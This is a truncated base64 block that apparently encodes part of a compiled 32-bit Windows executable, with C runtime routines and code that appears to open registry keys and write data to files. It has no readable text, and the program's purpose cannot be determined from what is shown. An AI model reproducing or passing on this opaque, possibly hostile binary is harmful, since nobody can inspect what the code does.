WP///4NN0P+JRdiNhbD+//+JRcCNhbD+//+JRciNRYBTUI1FoIl9xFCJfdSJfdzHRcx/AAAA 6HEOAABZjYUY////WWoiUGr/Vos1zNBAAGoBV//Wx0X8AgAAALtE4EAAikX8ahQEQYhF5I2F WP///1CNReRq/1BqAVf/1opF5Go0iEWgjYWw/v//UI1FoGr/UGoBV//WjUX0UI1FwFCNhRj/ //9qAlD/FaAeSQA5fQyJRfAPhOkAAAA7x3VhOX34dVxqAWjc8UAA6L0VAABqAplZ9/mNhaT7 //9SUOih2///jYWo/P//U1Dorg0AAI1FoFCNhaj8//9Q6K4NAABqAY2FpPv//1dQjYWo/P// V1D/dQjoI8L//4PEOIlF+Dl98HV/agFonv1AAFfog+D//1mD4AFQjYWg+v//UOhB2////3UI jYWs/f//UOhMDQAAjYWs/f//U1DoTw0AAI1FoFCNhaz9//9Q6D8NAACNhaz9//9TUOgyDQAA jYWg+v//UI2FrP3//1DoHw0AAGoBav+Nhaz9//9q/1Do9QMAAIPESP9F/IN9/AUPjLH+//9b X17Jw1WL7LicQwAA6OsUAACNRQxXUINN/P//dQjHRfiAPgAAagNqAV9X/3UM6CZdAACFwA+F QAEAAI1F+FNQjYVkvP//UI1F/FD/dQzoAF0AADPbOV38iV0ID4YRAQAAVo21eLz///ZG+AKN Rux0E/91EGoCUOiJ////g8QM6dsAAACNhez8//9QjYXw/f//UP826Gnj//+DxAyFwA+FuwAA AP91EI2F8P3//1DoGP3//1lZV2jc8UAAU+hD3///WSPHUI2F5Pr//1DoAtr//4PEEDldEA+E ggAAAFeNheT6//9TUI2F7Pz//1NQjYXw/f//UOiSwP//g8QYV2ie/UAAU+j73v//WSPHUI2F 6Pv//1Doutn///82jYX0/v//UOjGCwAAjYX0/v//aETgQABQ6MULAACNhej7//9QjYX0/v// UOiyCwAAV2r/jYX0/v//av9Q6IkCAACDxDj/RQiDxiCLRQg7RfwPgvf+//9e/3UM6NNbAABb X8nDagFYUGoCagDoev7//4PEDGhAdxsA/xUg0UAAM8Dr5LjIHwAA6FYTAABTVVZXjUQkFGgE AQAAM9tQU/8VCNFAAIs9gNBAAL58G0kAaiBW/9dTjUQkGFZQ/xVk0EAAaiBWiUQkGP/XOVwk EHRWaMAeAACNhCQcAQAAaMDgQABQ6JwPAACNhCQkAQAAiJwkOBEAAFBW6Brs//9oADABAFbo vOX//1Po3d3//zPSuQAoAAD38YHCADIBAFJW6KPW//+DxChqJ1b/1zkdiB5JAL90GUkAdEVW V2h4GkkAaAIAAIDoNtz//2oBaG/7QADoQsv//4PEGFD/FSjRQACL6Ghv/EAAVf8VLNFAADvD dAVqAVP/0FX/FezQQAA5XCQQdQQzwOt1OR2IHkkAdAtTVuiA3f//WVnrXzkdkB5JAHVXiy1A 0EAAagJTU//VU1NTU1NWU2oCaBABAABTV1dQiUQkRP8VRNBAAP90JBCLNUjQQAD/1moBU1P/ 1YvoahBXVf8VONBAAIv4U1NX/xUY0EAAV//WVf/WagFYX15dW4HEyB8AAMNVi+xRoYgQQQCJ RfyKRQgARfyNRfxQ/xXE0EAAg/gDdAyD+AR0B2oBWMnCBABqAI1F/GgOWkAAUOgw1P//g8QM aAB0twH/FSDRQADr4FWL7IHsWAIAAFa+RPJAAI2F1P7//1ZQ6GMJAABqB1boH8r//1CNhdT+ //9Q6F4JAACApaj9//8AjYWo/f//aCwBAABQjYXU/v//aMz9QABQaAIAAIDoddr//2oAjYWo /f//aA5aQABQ6LPT//+DxDgzwF7JwgQAVYvsuNQhAADoCxEAAItFEFNWi3UMM9tXOV0UiXX8 iUX4dRH/dQjoY9z//4XAWQ+FPgEAAL9Q/UAAU1fovMn//1k781mJRQx9D1Po0Nv//zPSWfd1 DIlV/L7c8UAAU1bomMn//zldEFlZiUUMfQ9T6Kvb//8z0ln3dQyJVfiNhfT+//9Q6JvS//+N hez8///HBCQEAQAAUFP/FQjRQACNhfT+//9TUI2F7Pz//1D/FWTQQACFwA+EtwAAAI2F9P7/ /2ogUP8VgNBAAGjAHgAAjYUs3v//aMDgQABQ6NgMAACNhSze//+InUDu//9QjYX0/v//UOhS 6f//U+gg2///M9K5ACgAAPfxjYX0/v//gcIAMgEAUlDo4NP///91/FfoqMj//1CNhfD9//9Q 6NcHAAD/dfhW6JLI//9QjYXw/f//UOjRBwAAg8RAjYXw/f///3UUUI2F9P7//1D/dQjo9uT/ /42F9P7//1DoI9L//4PEFF9eW8nDVYvsgewcAQAAU1ZXjU3o6Fir//8z/zl9DA+FFgEAAFf/ FSDRQAA5PZQeSQB1Wb788UAAV1boS8j//4lFDI2F5P7//1BXV1f/dQjorQgAAIPEHDPbOX0M D47YAAAAU1bo8cf//1CNheT+//9Q6PBYAACDxBCFwHQGQztdDHzfO10MD42uAAAAaiD/dQj/ FYDQQABXaiBqA1dqAWgAAADA/3UI/xXw0EAAg/j/iUUID4SBAAAAjU38UVD/FfTQQAA5ffyL 2Ild+HQHuwAgAADrA8HrE2pkvnAZQQBTVuhQBgAAg8QMV1dX/3UI/xWU0EAAO99+HIldDI1F /FdQaAAACABW/3UI/xVs0EAA/00MdeeLRfjB4xM72HMSjU38VyvDUVBW/3UI/xVs0EAA/3UI /xUk0UAAagFYX15bycNVi+xRoYgQQQCJRfyKRQgARfyNRfxQ/xXE0EAAg/gDdAyD+AR0B2oB WMnCBABqAI1F/Gjfa0AAUOi40P//g8QM6+tWagFeagFW6JCm//9Ggf64CwAAfO9ew1WL7IPs FFNWV4s9INFAAGoBW2jAJwkA/9eNRexQ/xXk0EAAZotF7oTDdOdmg33yBnXggyWUHkkAAGY9 BwCJHZgeSQB1BokdlB5JAGY7w3UGiR2UHkkAM/aNRfxQagBWaBxtQABqAGoA/xXI0EAARoP+ GnzkaEB3GwD/1+hp////av//1+uMVYvsgewUAQAAjYXs/v//VlDoe8///41F8FBoAREAAGiE /0AA6HIDAAD/dfBQjYXs/v//UOiHzv//jYXs/v//agBQ6HHY//+Nhez+//8z9lDoqs///4PE KIXAdR9qZP8VINFAAIvGRoP4ZH8PjYXs/v//UOiHz///WevdagqNRfRqAFDojQQAAIPEDI2F 7P7//8ZF9HfGRfVxaAQBAABQxkX2a/8VqNBAAI2F7P7//2hE4EAAUOjLBAAAjUX0UI2F7P7/ /1DouwQAAIPEEIM9iB5JAABedCSNhez+//9o3PFAAFDonQQAAI2F7P7//2oAUOjC1///g8QQ 6yCNhez+//9okBBBAFDoeQQAAFmNhez+//9ZUP8VKNFAADPAycIEAFWL7FFTVos1yNBAAFeN Rfwz/1BXV2j/FUAAV1f/1o1F/FBXV2iDYEAAV1f/1o1F/FBXV2gBaEAAV1f/1o1F/FBXV2j6 XUAAV1f/1o1F/FBXV2j7bUAAV1f/1o1F/FBXV2jxaUAAV1f/1jPbjUX8UFdTaKRpQABXV//W Q4P7Gnzr6NT9//9fXlvJw1WL7IPsHDPAx0XkEAEAAIlF7IlF8IlF9IlF+IlF/I1F5FDHRegE AAAA/zW0HkkA/xU80EAA6Bzb//+FwHQF6DP////JwgQAaKZvQABodBlJAP8VNNBAAGoAo7Qe SQDonf///8IIAFWL7IHsoAEAAI2FYP7//1BqAv8V1NFAAOiD4///hcB0VOju9///gD3U8EAA AHQPaNTwQADobOj//4XAWXU3gz2QHkkAAHQgg2X4AINl/ACNRfDHRfB0GUkAUMdF9O1vQAD/ FQDQQADohNr//4XAdAXom/7//zPAycIQAFWL7LiMOAEA6OwKAABTVv91DOgRCwAAi9gz9jve WYld9Il1+Il1/HUHM8Dp2wAAAFdogDgBAI2FdMf+/1ZQ6EYCAACDxAwzwI29eMf+/ztFDHNm i00IigwIhMl0DYgMHkZAiXX8O0UMcuk7RQxzSovIi1UIgDwRAHUGQTtNDHLxi9Er0IP6CnMR O8FzwYtVCIoUEIgUHkZA6++BffgQJwAAcw//RfiJR/yJF4PHCIvB65yJdfwz9utIi0X4iXX8 i/jB5wONXDcEU+haCgAAi/CLRfhXiQaNhXTH/v9QjUYEUOizBgAA/3X8jUQ3BP919FDoowYA AItFEIPEHIkYi130U+h9BgAAWYvGX15bycNVi+yD7AxTi10IVleLAzPSi/iNSwTB5wOJVfyJ TfSNdwSJRfg5dQxzBzPA6ZwAAACFwHYji/GJRQiLDjvRcwcrygPRAU38i0YEhcB2AgPQg8YI /00IdeKLRQwrx4PA/DlF/IlFDHMFK0X8A9CLRRAz9iF1/FKJEOidCQAAjXwfBItd+IXbWXYu i030OzFzD4tV/IoUOogUMEb/Rfzr7TPSOVEEdguAJDAARkI7UQRy9YPBCEt11YtN/DtNDHMO A/CKFDmIFkZBO00McvRfXlvJw8z/JRDRQAD/JQzRQAD/JQTRQAD/JQDRQACLVCQEi0wkCPfC AwAAAHU8iwI6AXUuCsB0JjphAXUlCuR0HcHoEDpBAnUZCsB0ETphA3UQg8EEg8IECuR10ov/ M8DDkBvA0eBAw4v/98IBAAAAdBSKAkI6AXXpQQrAdOD3wgIAAAB0qGaLAoPCAjoBddIKwHTK OmEBdckK5HTBg8EC64zMzMzMzMzMzMzMzMyLVCQMi0wkBIXSdEczwIpEJAhXi/mD+gRyLffZ g+EDdAgr0YgHR0l1+ovIweAIA8GLyMHgEAPBi8qD4gPB6QJ0BvOrhdJ0BogHR0p1+otEJAhf w4tEJATDzMzMzMzMzMxXi3wkCOtqjaQkAAAAAIv/i0wkBFf3wQMAAAB0D4oBQYTAdDv3wQMA AAB18YsBuv/+/n4D0IPw/zPCg8EEqQABAYF06ItB/ITAdCOE5HQaqQAA/wB0DqkAAAD/dALr zY15/+sNjXn+6wiNef3rA415/ItMJAz3wQMAAAB0GYoRQYTSdGSIF0f3wQMAAAB17usFiReD xwS6//7+fosBA9CD8P8zwosRg8EEqQABAYF04YTSdDSE9nQn98IAAP8AdBL3wgAAAP90AuvH iReLRCQIX8NmiReLRCQIxkcCAF/DZokXi0QkCF/DiBeLRCQIX8OLTCQE98EDAAAAdBSKAUGE wHRA98EDAAAAdfEFAAAAAIsBuv/+/n4D0IPw/zPCg8EEqQABAYF06ItB/ITAdDKE5HQkqQAA /wB0E6kAAAD/dALrzY1B/4tMJAQrwcONQf6LTCQEK8HDjUH9i0wkBCvBw41B/ItMJAQrwcNV i+xRg2X8AFOLXQhWV1Pocf///4P4AVlyIYB7ATp1G4t1DIX2dBBqAlNW6IwQAACDxAyAZgIA Q0PrCotFDIXAdAOAIACDZQwAgDsAi8O+/wAAAIlFCHRliggPttH2guEySQAEdANA6xqA+S90 D4D5XHQKgPkudQuJRfzrBo1IAYlNDECAOAB1z4t9DIlFCIX/dCqDfRAAdB8r+zv+cgKL/ldT /3UQ6BEQAACLRRCDxAyAJAcAi0UIi10M6wqLTRCFyXQDgCEAi338hf90TDv7ckiDfRQAdB8r +zv+cgKL/ldT/3UU6NIPAACLRRSDxAyAJAcAi0UIi30Yhf90RCtF/DvGcwKL8Fb/dfxX6KsP AACDxAyAJD4A6yiLfRSF/3QXK8M7xnMCi/BWU1foiw8AAIPEDIAkPgCLRRiFwHQDgCAAX15b ycNVi+xRgz3UHkkAAFN1HYtFCIP4YQ+MrwAAAIP4eg+PpgAAAIPoIOmeAAAAi10IgfsAAQAA fSiDPbwTQQABfgxqAlPoBxIAAFlZ6wuhsBFBAIoEWIPgAoXAdQSLw+trixWwEUEAi8PB+AgP tsj2REoBgHQOgGUKAIhFCIhdCWoC6wmAZQkAiF0IagFYjU38agFqAGoDUVCNRQhQaAACAAD/ NdQeSQDoVQ8AAIPEIIXAdKmD+AF1Bg+2RfzrDQ+2Rf0Ptk38weAIC8FbycNVi+xRgz3UHkkA AFNWV3Udi0UIg/hBD4yqAAAAg/haD4+hAAAAg8Ag6ZkAAACLXQi/AAEAAGoBO99efSU5NbwT QQB+C1ZT6DcRAABZWesKobARQQCKBFgjxoXAdQSLw+tlixWwEUEAi8PB+AgPtsj2REoBgHQP gGUKAGoCiEUIiF0JWOsJgGUJAIhdCIvGVmoAjU38agNRUI1FCFBX/zXUHkkA6IsOAACDxCCF wHSuO8Z1Bg+2RfzrDQ+2Rf0Ptk38weAIC8FfXlvJw1WL7IPsIItFCFaJReiJReCNRRDHRexC AAAAUI1F4P91DMdF5P///39Q6BMSAACDxAz/TeSL8HgIi0XggCAA6w2NReBQagDo4RAAAFlZ i8ZeycP/dCQE6PAZAABZw8zMzMzMzMzMzMxVi+xXVot1DItNEIt9CIvBi9EDxjv+dgg7+A+C eAEAAPfHAwAAAHUUwekCg+IDg/kIcinzpf8klWh5QACLx7oDAAAAg+kEcgyD4AMDyP8khYB4 QAD/JI14eUAAkP8kjfx4QACQkHhAALx4QADgeEAAI9GKBogHikYBiEcBikYCwekCiEcCg8YD g8cDg/kIcszzpf8klWh5QACNSQAj0YoGiAeKRgHB6QKIRwGDxgKDxwKD+QhypvOl/ySVaHlA AJAj0YoGiAdGwekCR4P5CHKM86X/JJVoeUAAjUkAX3lAAEx5QABEeUAAPHlAADR5QAAseUAA JHlAABx5QACLRI7kiUSP5ItEjuiJRI/oi0SO7IlEj+yLRI7wiUSP8ItEjvSJRI/0i0SO+IlE j/iLRI78iUSP/I0EjQAAAAAD8AP4/ySVaHlAAIv/eHlAAIB5QACMeUAAoHlAAItFCF5fycOQ igaIB4tFCF5fycOQigaIB4pGAYhHAYtFCF5fycONSQCKBogHikYBiEcBikYCiEcCi0UIXl/J w5CNdDH8jXw5/PfHAwAAAHUkwekCg+IDg/kIcg3986X8/ySVAHtAAIv/99n/JI2wekAAjUkA i8e6AwAAAIP5BHIMg+ADK8j/JIUIekAA/ySNAHtAAJAYekAAOHpAAGB6QACKRgMj0YhHA07B 6QJPg/kIcrb986X8/ySVAHtAAI1JAIpGAyPRiEcDikYCwekCiEcCg+4Cg+8Cg/kIcoz986X8 /ySVAHtAAJCKRgMj0YhHA4pGAohHAopGAcHpAohHAYPuA4PvA4P5CA+CWv////3zpfz/JJUA e0AAjUkAtHpAALx6QADEekAAzHpAANR6QADcekAA5HpAAPd6QACLRI4ciUSPHItEjhiJRI8Y i0SOFIlEjxSLRI4QiUSPEItEjgyJRI8Mi0SOCIlEjwiLRI4EiUSPBI0EjQAAAAAD8AP4/ySV AHtAAIv/EHtAABh7QAAoe0AAPHtAAItFCF5fycOQikYDiEcDi0UIXl/Jw41JAIpGA4hHA4pG AohHAotFCF5fycOQikYDiEcDikYCiEcCikYBiEcBi0UIXl/Jw4tEJASjoBBBAMOhoBBBAGnA /UMDAAXDniYAo6AQQQDB+BAl/38AAMPMzMxRPQAQAACNTCQIchSB6QAQAAAtABAAAIUBPQAQ AABz7CvIi8SFAYvhiwiLQARQw2oB/3QkCOiLFgAAWVnDVYvsg+wgi0UIx0XsSQAAAFCJReiJ ReDoh/j//4lF5I1FEFCNReD/dQxQ6LsWAACDxBDJw8zMzMzMzMzMzMzMzMzMzFWL7FdWi3UM i00Qi30Ii8GL0QPGO/52CDv4D4J4AQAA98cDAAAAdRTB6QKD4gOD+QhyKfOl/ySVSH1AAIvH ugMAAACD6QRyDIPgAwPI/ySFYHxAAP8kjVh9QACQ/ySN3HxAAJBwfEAAnHxAAMB8QAAj0YoG iAeKRgGIRwGKRgLB6QKIRwKDxgODxwOD+QhyzPOl/ySVSH1AAI1JACPRigaIB4pGAcHpAohH AYPGAoPHAoP5CHKm86X/JJVIfUAAkCPRigaIB0bB6QJHg/kIcozzpf8klUh9QACNSQA/fUAA LH1AACR9QAAcfUAAFH1AAAx9QAAEfUAA/HxAAItEjuSJRI/ki0SO6IlEj+iLRI7siUSP7ItE jvCJRI/wi0SO9IlEj/SLRI74iUSP+ItEjvyJRI/8jQSNAAAAAAPwA/j/JJVIfUAAi/9YfUAA YH1AAGx9QACAfUAAi0UIXl/Jw5CKBogHi0UIXl/Jw5CKBogHikYBiEcBi0UIXl/Jw41JAIoG iAeKRgGIRwGKRgKIRwKLRQheX8nDkI10MfyNfDn898cDAAAAdSTB6QKD4gOD+QhyDf3zpfz/ JJXgfkAAi//32f8kjZB+QACNSQCLx7oDAAAAg/kEcgyD4AMryP8kheh9QAD/JI3gfkAAkPh9 QAAYfkAAQH5AAIpGAyPRiEcDTsHpAk+D+Qhytv3zpfz/JJXgfkAAjUkAikYDI9GIRwOKRgLB 6QKIRwKD7gKD7wKD+QhyjP3zpfz/JJXgfkAAkIpGAyPRiEcDikYCiEcCikYBwekCiEcBg+4D g+8Dg/kID4Ja/////fOl/P8kleB+QACNSQCUfkAAnH5AAKR+QACsfkAAtH5AALx+QADEfkAA 135AAItEjhyJRI8ci0SOGIlEjxiLRI4UiUSPFItEjhCJRI8Qi0SODIlEjwyLRI4IiUSPCItE jgSJRI8EjQSNAAAAAAPwA/j/JJXgfkAAi//wfkAA+H5AAAh/QAAcf0AAi0UIXl/Jw5CKRgOI RwOLRQheX8nDjUkAikYDiEcDikYCiEcCi0UIXl/Jw5CKRgOIRwOKRgKIRwKKRgGIRwGLRQhe X8nDgz28E0EAAX4RaAMBAAD/dCQI6CQJAABZWcOLRCQEiw2wEUEAZosEQSUDAQAAw4M9vBNB AAF+DmoE/3QkCOj5CAAAWVnDi0QkBIsNsBFBAIoEQYPgBMODPbwTQQABfg5qCP90JAjo0QgA AFlZw4tEJASLDbARQQCKBEGD4AjDzMzMzMzMzMzMzMzMzItMJAhXU1aKEYt8JBCE0nRpinEB hPZ0T4v3i0wkFIoHRjjQdBWEwHQLigZGONB0CoTAdfVeW18zwMOKBkY48HXrjX7/imEChOR0 KIoGg8YCOOB1xIpBA4TAdBiKZv+DwQI44HTf67EzwF5bX4rC6UMdAACNR/9eW1/Di8deW1/D VYvsV1ZTi00Q4yaL2Yt9CIv3M8DyrvfZA8uL/ot1DPOmikb/M8k6R/93BHQESUn30YvBW15f ycNVi+xq/2g40kAAaCSoQABkoQAAAABQZIklAAAAAIPsWFNWV4ll6P8VtNBAADPSitSJFQQf SQCLyIHh/wAAAIkNAB9JAMHhCAPKiQ38HkkAwegQo/geSQAz9lboFiYAAFmFwHUIahzosAAA AFmJdfzoViQAAP8VvNBAAKPoM0kA6BQjAACjuB5JAOi9IAAA6P8fAADoHB0AAIl10I1FpFD/ FXDRQADokB8AAIlFnPZF0AF0Bg+3RdTrA2oKWFD/dZxWVv8VbNFAAFDoxu7//4lFoFDoCh0A AItF7IsIiwmJTZhQUejOHQAAWVnDi2Xo/3WY6PwcAACDPcAeSQABdQXogCcAAP90JATosCcA AGj/AAAA/xWwEEEAWVnDgz3AHkkAAXUF6FsnAAD/dCQE6IsnAABZaP8AAAD/FXTRQADDVYvs g+wYU1ZX/3UI6IgBAACL8Fk7NbgxSQCJdQgPhGoBAAAz2zvzD4RWAQAAM9K4wBBBADkwdHKD wDBCPbARQQB88Y1F6FBW/xV40UAAg/gBD4UkAQAAakAzwFm/4DJJAIN96AGJNbgxSQDzq6qJ HeQzSQAPhu8AAACAfe4AD4S7AAAAjU3vihGE0g+ErgAAAA+2Qf8PttI7wg+HkwAAAICI4TJJ AARA6+5qQDPAWb/gMkkA86uNNFKJXfzB5gSqjZ7QEEEAgDsAi8t0LIpRAYTSdCUPtgEPtvo7 x3cUi1X8ipK4EEEACJDhMkkAQDvHdvVBQYA5AHXU/0X8g8MIg338BHLBi0UIxwXMMUkAAQAA AFCjuDFJAOjGAAAAjbbEEEEAv8AxSQClpVmj5DNJAKXrVUFBgHn/AA+FSP///2oBWICI4TJJ AAhAPf8AAABy8VbojAAAAFmj5DNJAMcFzDFJAAEAAADrBokdzDFJADPAv8AxSQCrq6vrDTkd xB5JAHQO6I4AAADosgAAADPA6wODyP9fXlvJw4tEJASDJcQeSQAAg/j+dRDHBcQeSQABAAAA /yWA0UAAg/j9dRDHBcQeSQABAAAA/yV80UAAg/j8dQ+h5B5JAMcFxB5JAAEAAADDi0QkBC2k AwAAdCKD6AR0F4PoDXQMSHQDM8DDuAQEAADDuBIEAADDuAQIAADDuBEEAADDV2pAWTPAv+Ay SQDzq6ozwL/AMUkAo7gxSQCjzDFJAKPkM0kAq6urX8NVi+yB7BQFAACNRexWUP81uDFJAP8V eNFAAIP4AQ+FFgEAADPAvgABAACIhAXs/v//QDvGcvSKRfLGhez+//8ghMB0N1NXjVXzD7YK D7bAO8F3HSvIjbwF7P7//0G4ICAgIIvZwekC86uLy4PhA/OqQkKKQv+EwHXQX1tqAI2F7Pr/ //815DNJAP81uDFJAFCNhez+//9WUGoB6PMlAABqAI2F7P3///81uDFJAFZQjYXs/v//VlBW /zXkM0kA6GgBAABqAI2F7Pz///81uDFJAFZQjYXs/v//VlBoAAIAAP815DNJAOhAAQAAg8Rc M8CNjez6//9mixH2wgF0FoCI4TJJABCKlAXs/f//iJDgMUkA6xz2wgJ0EICI4TJJACCKlAXs /P//6+OAoOAxSQAAQEFBO8Zyv+tJM8C+AAEAAIP4QXIZg/hadxSAiOEySQAQisiAwSCIiOAx SQDrH4P4YXITg/h6dw6AiOEySQAgisiA6SDr4ICg4DFJAABAO8Zyvl7Jw4M9qDFJAAB1Emr9 6Cz8//9ZxwWoMUkAAQAAAMNVi+yDPcwxSQAAV4t9CIl9CHUR/3UQ/3UMV+gqJgAAg8QM62OL VRBWhdJ0PYtNDIoBSg+28PaG4TJJAASIB3QTR0GF0nQZigFKiAdHQYTAdBTrBkdBhMB0EIXS ddLrCoBn/wDrBIBn/gCLwkqFwF50E41KATPAi9HB6QLzq4vKg+ED86qLRQhfXcNVi+xq/2hQ 0kAAaCSoQABkoQAAAABQZIklAAAAAIPsHFNWV4ll6DP/OT3IHkkAdUZXV2oBW1NoSNJAAL4A AQAAVlf/FYjRQACFwHQIiR3IHkkA6yJXV1NoRNJAAFZX/xWE0UAAhcAPhCIBAADHBcgeSQAC AAAAOX0UfhD/dRT/dRDongEAAFlZiUUUocgeSQCD+AJ1Hf91HP91GP91FP91EP91DP91CP8V hNFAAOneAAAAg/gBD4XTAAAAOX0gdQih5B5JAIlFIFdX/3UU/3UQi0Uk99gbwIPgCEBQ/3Ug /xXM0EAAi9iJXeQ73w+EnAAAAIl9/I0EG4PAAyT86F30//+JZeiLxIlF3INN/P/rE2oBWMOL Zegz/4l93INN/P+LXeQ5fdx0ZlP/ddz/dRT/dRBqAf91IP8VzNBAAIXAdE1XV1P/ddz/dQz/ dQj/FYjRQACL8Il12Dv3dDL2RQ0EdEA5fRwPhLIAAAA7dRx/Hv91HP91GFP/ddz/dQz/dQj/ FYjRQACFwA+FjwAAADPAjWXIi03wZIkNAAAAAF9eW8nDx0X8AQAAAI0ENoPAAyT86Knz//+J ZeiL3Ild4INN/P/rEmoBWMOLZegz/zPbg038/4t12DvfdLRWU/915P913P91DP91CP8ViNFA AIXAdJw5fRxXV3UEV1frBv91HP91GFZTaCACAAD/dSD/FdDQQACL8Dv3D4Rx////i8bpbP// /4tUJAiLRCQEhdJWjUr/dA2AOAB0CECL8UmF9nXzgDgAXnUFK0QkBMOLwsNVi+xRi0UIjUgB gfkAAQAAdwyLDbARQQAPtwRB61KLyFaLNbARQQDB+QgPttH2RFYBgF50DoBl/gCITfyIRf1q AusJgGX9AIhF/GoBWI1NCmoBagBqAFFQjUX8UGoB6LUhAACDxByFwHUCycMPt0UKI0UMycNV i+xTVot1DItGDIteEKiCD4TzAAAAqEAPhesAAACoAXQWg2YEAKgQD4TbAAAAi04IJP6JDolG DItGDINmBACDZQwAJO8MAmapDAGJRgx1IoH+QBVBAHQIgf5gFUEAdQtT6B4mAACFwFl1B1bo zyUAAFlm90YMCAFXdGSLRgiLPiv4jUgBiQ6LThhJhf+JTgR+EFdQU+j5IwAAg8QMiUUM6zOD +/90FovDi8vB+AWD4R+LBIWgMEkAjQTI6wW4aBRBAPZABCB0DWoCagBT6CcjAACDxAyLRgiK TQiICOsUagGNRQhfV1BT6KYjAACDxAyJRQw5fQxfdAaDTgwg6w+LRQgl/wAAAOsIDCCJRgyD yP9eW13DVYvsgexIAgAAU1ZXi30MM/aKH0eE24l19Il17Il9DA+E9AYAAItN8DPS6wiLTfCL ddAz0jlV7A+M3AYAAID7IHwTgPt4fw4PvsOKgEjSQACD4A/rAjPAD76ExmjSQADB+ASD+AeJ RdAPh5oGAAD/JIUbkUAAg03w/4lVzIlV2IlV4IlV5IlV/IlV3Ol4BgAAD77Dg+ggdDuD6AN0 LYPoCHQfSEh0EoPoAw+FWQYAAINN/AjpUAYAAINN/ATpRwYAAINN/AHpPgYAAIBN/IDpNQYA AINN/ALpLAYAAID7KnUjjUUQUOj1BgAAhcBZiUXgD40SBgAAg038BPfYiUXg6QQGAACLReAP vsuNBICNREHQ6+mJVfDp7QUAAID7KnUejUUQUOi2BgAAhcBZiUXwD43TBQAAg03w/+nKBQAA jQSJD77LjURB0IlF8Om4BQAAgPtJdC6A+2h0IID7bHQSgPt3D4WgBQAAgE39COmXBQAAg038 EOmOBQAAg038IOmFBQAAgD82dRSAfwE0dQ5HR4BN/YCJfQzpbAUAAIlV0IsNsBFBAIlV3A+2 w/ZEQQGAdBmNRexQ/3UID77DUOh/BQAAih+DxAxHiX0MjUXsUP91CA++w1DoZgUAAIPEDOkl BQAAD77Dg/hnD48cAgAAg/hlD42WAAAAg/hYD4/rAAAAD4R4AgAAg+hDD4SfAAAASEh0cEhI dGyD6AwPhekDAABm90X8MAh1BIBN/QiLdfCD/v91Bb7///9/jUUQUOicBQAAZvdF/BAIWYvI iU34D4T+AQAAhcl1CYsNzBNBAIlN+MdF3AEAAACLwYvWToXSD4TUAQAAZoM4AA+EygEAAEBA 6+fHRcwBAAAAgMMgg038QI29uP3//zvKiX34D43PAAAAx0XwBgAAAOnRAAAAZvdF/DAIdQSA Tf0IZvdF/BAIjUUQUHQ76DAFAABQjYW4/f//UOh1IwAAg8QMiUX0hcB9MsdF2AEAAADrKYPo WnQyg+gJdMVID4ToAQAA6QgDAADo2AQAAFmIhbj9///HRfQBAAAAjYW4/f//iUX46ecCAACN RRBQ6LMEAACFwFl0M4tIBIXJdCz2Rf0IdBcPvwDR6IlN+IlF9MdF3AEAAADptQIAAINl3ACJ TfgPvwDpowIAAKHIE0EAiUX4UOmOAAAAdQyA+2d1B8dF8AEAAACLRRD/dcyDwAiJRRD/dfCL SPiJTbiLQPyJRbwPvsNQjYW4/f//UI1FuFD/FaAXQQCLdfyDxBSB5oAAAAB0FIN98AB1Do2F uP3//1D/FawXQQBZgPtndRKF9nUOjYW4/f//UP8VpBdBAFmAvbj9//8tdQ2ATf0Bjb25/f// iX34V+hh5v//Wen8AQAAg+hpD4TRAAAAg+gFD4SeAAAASA+EhAAAAEh0UYPoAw+E/f3//0hI D4SxAAAAg+gDD4XJAQAAx0XUJwAAAOs8K8HR+Om0AQAAhcl1CYsNyBNBAIlN+IvBi9ZOhdJ0 CIA4AHQDQOvxK8HpjwEAAMdF8AgAAADHRdQHAAAA9kX8gMdF9BAAAAB0XYpF1MZF6jAEUcdF 5AIAAACIRevrSPZF/IDHRfQIAAAAdDuATf0C6zWNRRBQ6BsDAAD2RfwgWXQJZotN7GaJCOsF i03siQjHRdgBAAAA6SMCAACDTfxAx0X0CgAAAPZF/YB0DI1FEFDo7QIAAFnrQfZF/CB0IfZF /ECNRRBQdAzoyAIAAFkPv8CZ6yXovAIAAFkPt8Dr8vZF/ECNRRBQdAjopwIAAFnr4OifAgAA WTPS9kX8QHQbhdJ/F3wEhcBzEffYg9IAi/D32oBN/QGL+usEi/CL+vZF/YB1A4PnAIN98AB9 CcdF8AEAAADrBINl/PeLxgvHdQSDZeQAjUW3iUX4i0Xw/03whcB/BovGC8d0O4tF9JlSUFdW iUXAiVXE6G8hAAD/dcSL2IPDMP91wFdW6O0gAACD+zmL8Iv6fgMDXdSLRfj/TfiIGOu1jUW3 K0X4/0X49kX9AolF9HQZi034gDkwdQSFwHUN/034QItN+MYBMIlF9IN92AAPhfQAAACLXfz2 w0B0JvbHAXQGxkXqLesU9sMBdAbGReor6wn2wwJ0C8ZF6iDHReQBAAAAi3XgK3XkK3X09sMM dRKNRexQ/3UIVmog6BcBAACDxBCNRexQjUXq/3UI/3XkUOgyAQAAg8QQ9sMIdBf2wwR1Eo1F 7FD/dQhWajDo5QAAAIPEEIN93AB0QYN99AB+O4tF9Itd+I14/2aLA0NQjUXIUEPolh8AAFmF wFl+Mo1N7FH/dQhQjUXIUOjYAAAAg8QQi8dPhcB10OsVjUXsUP91CP919P91+Oi6AAAAg8QQ 9kX8BHQSjUXsUP91CFZqIOhxAAAAg8QQi30Mih9HhNuJfQwPhRP5//+LRexfXlvJw5mLQABv ikAAiopAANaKQAANi0AAFYtAAEqLQADdi0AAVYvsi00M/0kEeA6LEYpFCIgC/wEPtsDrC1H/ dQjoiPf//1lZg/j/i0UQdQWDCP9dw/8AXcNWV4t8JBCLx0+FwH4hi3QkGFb/dCQY/3QkFOis ////g8QMgz7/dAeLx0+FwH/jX17DU4tcJAyLw0tWV4XAfiaLfCQci3QkEA++BldG/3QkHFDo df///4PEDIM//3QHi8NLhcB/4l9eW8OLRCQEgwAEiwCLQPzDi0QkBIMACIsIi0H4i1H8w4tE JASDAASLAGaLQPzDVot0JAiF9nQkVujAHwAAWYXAVnQKUOjfHwAAWVlew2oA/zWEMEkA/xWM 0UAAXsP/NVAgSQD/dCQI6AMAAABZWcODfCQE4Hci/3QkBOgcAAAAhcBZdRY5RCQIdBD/dCQE 6HUnAACFwFl13jPAw1aLdCQIOzXAF0EAdwtW6KUiAACFwFl1HIX2dQNqAV6Dxg+D5vBWagD/ NYQwSQD/FZDRQABew1WL7IHsxAEAAIBl6wBTVot1DDPbV4oGiV38hMCJXcwPhOEJAACLfQjr BYt9CDPbgz28E0EAAX4PD7bAaghQ6Ib1//9ZWesPiw2wEUEAD7bAigRBg+AIO8N0Nv9N/FeN 